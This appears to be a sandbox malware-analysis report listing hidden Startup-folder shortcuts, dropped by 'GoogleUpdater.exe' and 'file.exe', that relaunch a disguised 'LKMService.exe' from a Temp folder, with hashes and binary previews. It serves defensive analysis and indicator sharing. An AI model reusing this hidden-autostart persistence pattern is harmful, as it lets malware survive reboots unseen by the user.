MD5:	0B9E6AFB088DCCE936BEDDD8580E8130
SHA1:	34F47787A3B19252DC8CF39314A9156E1DDBEBC5
SHA-256:	5F7CD97E7E20E691429A1F69724FE2352BC964EC3FC66DB5D2B625C1886F6B8E
SHA-512:	28AC419DFBBE987AB1968851470FAB9F17C98127C1324C3FF7C178AE72A4DC54DFD44212A50673CF80CF649169FCB504109CDFC4BCA4D06A8372434F86665503
Malicious:	false
Preview:	L..................F...."......P....yCLP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....KP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_44e91de48d86446e9134d06d32e74ccb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:07 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9392093678087035
Encrypted:	false
SSDEEP:	24:8pCRheYl1RogKrA5+W8Ajfv/42egvqyFm:8pCRhr1R8AZjvgTyF
MD5:	8D6891D77166372B27532A18D29A2BA2
SHA1:	6CDC00B8BEFF2DFB34C23F67D7D9B01BE1372CDA
SHA-256:	61A131512501801FB6D9EDE8ECAFC1FDA56F21C98CC6C6F20DDFBF4A9FA29657
SHA-512:	A71E3DCE33ED7D957245F4E337C58F36ECBE22202EE26F8F963A5C41CA730C788A004E222FD564CA14650361CCF4B766D04497CF3C3176C8B33EBDD7419EE097
Malicious:	false
Preview:	L..................F...."......P....XGP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_45b918bfe3fa429eb04af0188bc6f769.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:05 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939174056433205
Encrypted:	false
SSDEEP:	24:8p0RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rjr1R8AZjvgTyF
MD5:	1F92708A28B766DE3B04E2E80C894A25
SHA1:	09AD2AB85F561BF58FED9C7713F6E543C2D57BE0
SHA-256:	095A0561A157E4FA64F10BA80A406FD816CD7F69C415FF7D740AC3F591DB9443
SHA-512:	265C1463CD16A1D579927BF68FCBA81E93F27BD6D889A8EDA0EAC1DA08BF81FDEC728516675DE3A67A8580DA44F4EB0B5281BF42BE8253A5A0A091EF6A3FC5FE
Malicious:	false
Preview:	L..................F...."......P...i..FP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4723ef536bc343598f2bfc0f06e4eee9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:46 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942998587214335
Encrypted:	false
SSDEEP:	24:8p0RheYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rhr1R8AZjvgTyF
MD5:	E6C84A8119F8D9FDF73E0BA1A06A9EF7
SHA1:	F33107EFFCB5B1B4805F50BD0B49413BE6557749
SHA-256:	50640E38938147E2E44EE8BC303F1318D515D58FE1D43B0EE0C931D67A8941AD
SHA-512:	C7F1B274363EE159F288516D6E66B022D6A911D0E8B1454A89082AC57BA9EB94134BEE5FD486C3076BF216B847FCFD38FD2FF890640762A8B6A9FCB3A1473D6B
Malicious:	false
Preview:	L..................F...."......P.....^P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_472749f636994be5bfcb24189b3266c5.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939524378681409
Encrypted:	false
SSDEEP:	24:8ptqRHjeYl1RGgKyAD+W8Ajfv/42egvqyFm:8ptqRHjr1RbAXjvgTyF
MD5:	DAF647496D8A11439A8228A619A7FA56
SHA1:	68B2A3B518B4842A673B8C737FBE0E4E1F6861F5
SHA-256:	07546D9852FB32AAB93C7867DB13E4E8557CE8E00D358AC83F9890AD147882E6
SHA-512:	8D2620F9871A92C6B83BD364C4A3AF80DF41BD0231A56AE32C0CE12EAAD5AD97F3C9D0212A803DEEC90A0203529DFA56D9B44A2D8162AD55F14541C1DB6C433A
Malicious:	false
Preview:	L..................F...."......P......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....{..P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................%[a.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..........................'.0.E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_48e69eb5636c4f0496341c744955f7d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:45 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940758062292771
Encrypted:	false
SSDEEP:	24:8p9YRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p9YRjr1R8AZjvgTyF
MD5:	798C6F385BC33FE073B37B2685AE2B3B
SHA1:	F3F3411C370D8F48D604952D537DAA25364421E8
SHA-256:	17A8F9EEFDA4CCD8FD1B48425178D3AC02C6FA39C0D207BC3C76211B3DBA524C
SHA-512:	0AB2723B61066236373280AEBA0EF4D53D6D931C56CF23914AA6891EB6F16A6ED80125138972F627FD15B94120EDE93E0D18EF04C0A19521C2E3A81FAA546B50
Malicious:	false
Preview:	L..................F...."......P...j.Z:P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_492ea8a68d4044e2835e2e1f3798803c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:54 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935957032901707
Encrypted:	false
SSDEEP:	24:8ptRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8ptRjr1R8AZjvgTyF
MD5:	F8CEEF239C3BBE2E4D2DBDB6F25ED419
SHA1:	6381FEC4E03BF56F2E728F0A3190C9211AFE09A1
SHA-256:	75298FC1B9046D596BD8A029D9B6810D2CCD9380291ECBA47C8C2D2B45B00201
SHA-512:	F8F7C9650A4DBE73EFCEC47FCDE3D585D50D726003A8554C3C88D97C45A3CA543D4193FDE5F02673D2BE4C2E8E234C51C893025AF64258E2B2C4B706614877E9
Malicious:	false
Preview:	L..................F...."......P.....L?P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_493e11df656c4fb9b35808a9da5378e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:36 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937605878753943
Encrypted:	false
SSDEEP:	24:8pdARjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pdARjr1R8AZjvgTyF
MD5:	47356231C313FD1E832ABF4A57A778BC
SHA1:	BC48EE9640B683511CFCD8BDC006E07498D68577
SHA-256:	387E9BA75500A36CC73652D80431131195C6C593CDF1B5885AD7688C7E93E5EE
SHA-512:	F5AE6D83241BBFA4581DC77AD0D0B2AB2BB3E979B58C531A4D964D6DA44BDBDC2B91C0726BDE280B1B71F14797700B83CAC3A1594655A9162A095B28C656FA5F
Malicious:	false
Preview:	L..................F...."......P...m?.4P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4a4e2ffe0af24c70af7bd986e036b820.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:37 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9376571576170685
Encrypted:	false
SSDEEP:	24:8pbvRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pbvRjr1R8AZjvgTyF
MD5:	8E9C3A6111754CE27B7FB2A761820A9F
SHA1:	C9ABEAD43EFA9477BCDB16AEA977E4A8EFC266FB
SHA-256:	576B36258D7D4C4698C0AB74285F7750472163EBCEA666767511E475EF7F96E8
SHA-512:	D8B37BE4B12E3521CC27D3136E776FA64FBA7DC3EACE7C15C7B6B1D8FCD2E828980A86DA59321CE5DEF40E6221D494B4E42CA08263C528768F56EEC7AA1457DE
Malicious:	false
Preview:	L..................F...."......P.....t5P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4c1a1fdb17a948d39ccd99e8dd33f60c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:09 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.93388756071395
Encrypted:	false
SSDEEP:	24:8pDRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pDRfr1R8AZjvgTyF
MD5:	A85F8F613A0BF489CE884C4F5C350EB4
SHA1:	BF6E16C28D3E55F9FAF0C4BCD05ECFA81B608CC8
SHA-256:	420179BA16FB0DCC4AB9806C02C386B539AB2C2A9DEA68DCE3FAF9CD8A770F2C
SHA-512:	4C3B910F1344616B349EFB81F5C484D47A94B145EDB4D403F2B61314D41A018A0B6AD39D18746153692E074360360355BC97742BAA021146F0ADF932DA0DA964
Malicious:	false
Preview:	L..................F...."......P....c.lP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4d182f3f8aa84fdc8429a68b7cb680b5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:09 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944770625585735
Encrypted:	false
SSDEEP:	24:8pERjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pERjr1R8AZjvgTyF
MD5:	BC7E7560DB498877F9C5D23855DAE826
SHA1:	0A71275E4FF148582BD81FDA522A4D624BA43CB6
SHA-256:	92E28AAB47865E529A9771ADD53488D6C1D20BE5C73819948C774BDDF552D39A
SHA-512:	F8C5535BD5E378478B579A263700C9B6D3CDBF64728E938989D532EB2992558F46943FE8D2F7B07C2E37DCC64AC06472B12D924BE3D06BA0FEA0E4EDE8362496
Malicious:	false
Preview:	L..................F...."......P......$P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4d41daae070349c7bb4da78c00b33aa2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:13 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942808239122198
Encrypted:	false
SSDEEP:	24:8pSRPeYl1RogKrA5+W8Ajfv/42egvqyFm:8pSRPr1R8AZjvgTyF
MD5:	FDEC6484FD9622C79F4300312BFFACE6
SHA1:	19245BBA23C970670D28BD7CF341EBA73D3C351D
SHA-256:	0C88AAD005095D41D86CFF64C1CD846FA3DFE0C857BDA586D40850C11FECF312
SHA-512:	2A68F597B67110D94FDD63AEB4532C2A5C34FAF54EED0423C4E77E2033E943720A732E3422A1609CFCFA4159FBCD3AF8A32B1C91BFB3F02D8FBE40430331F104
Malicious:	false
Preview:	L..................F...."......P....`.KP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....KP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4dcacfa1a86c432083bf8b0b5a0271f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:09 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.93981109230001
Encrypted:	false
SSDEEP:	24:8p4RheYl1RogKrA5+W8Ajfv/42egvqyFm:8p4Rhr1R8AZjvgTyF
MD5:	CC5D53137FB77464567ED7408403467B
SHA1:	E2966BF312A1077C455DB2661F33F9D06DB1C6A3
SHA-256:	AC7E50AF3786DFF1A3D2457FC9AAA3A17ED76F4A2E9B48EE5D6A929D53281EB4
SHA-512:	462BED306216D7F04E16C6B777A4C6DBDF30CE21E785E91A9F8B5DC7D6AF69C2A65FE02A270108DB79EB5F0C3DA8CE6BD9CF618E44A5F783C1EB88D7376FCBDC
Malicious:	false
Preview:	L..................F...."......P.....HP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_4fb0dcab88cc400091f460159d26935b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:31 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938348988054566
Encrypted:	false
SSDEEP:	24:8pZRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8pZROr1R8AZjvgTyF
MD5:	B6A6E26502CFF0368F2186A6280ED7E1
SHA1:	AE05219EDDAFA02DB2598F2BBF48E96641708640
SHA-256:	41B65167D69738C0F2C3895FB578D5BCFCA11DDF9812FFDB1B400AFF4AACE0B5
SHA-512:	233F7DAE4092704C639875916C650C2817DFF48808E26A72219A628D2E935DFB75B8FA9D0F01A080AD7BAD1157030E914B287DA9351FD91959848E1A04D4CC94
Malicious:	false
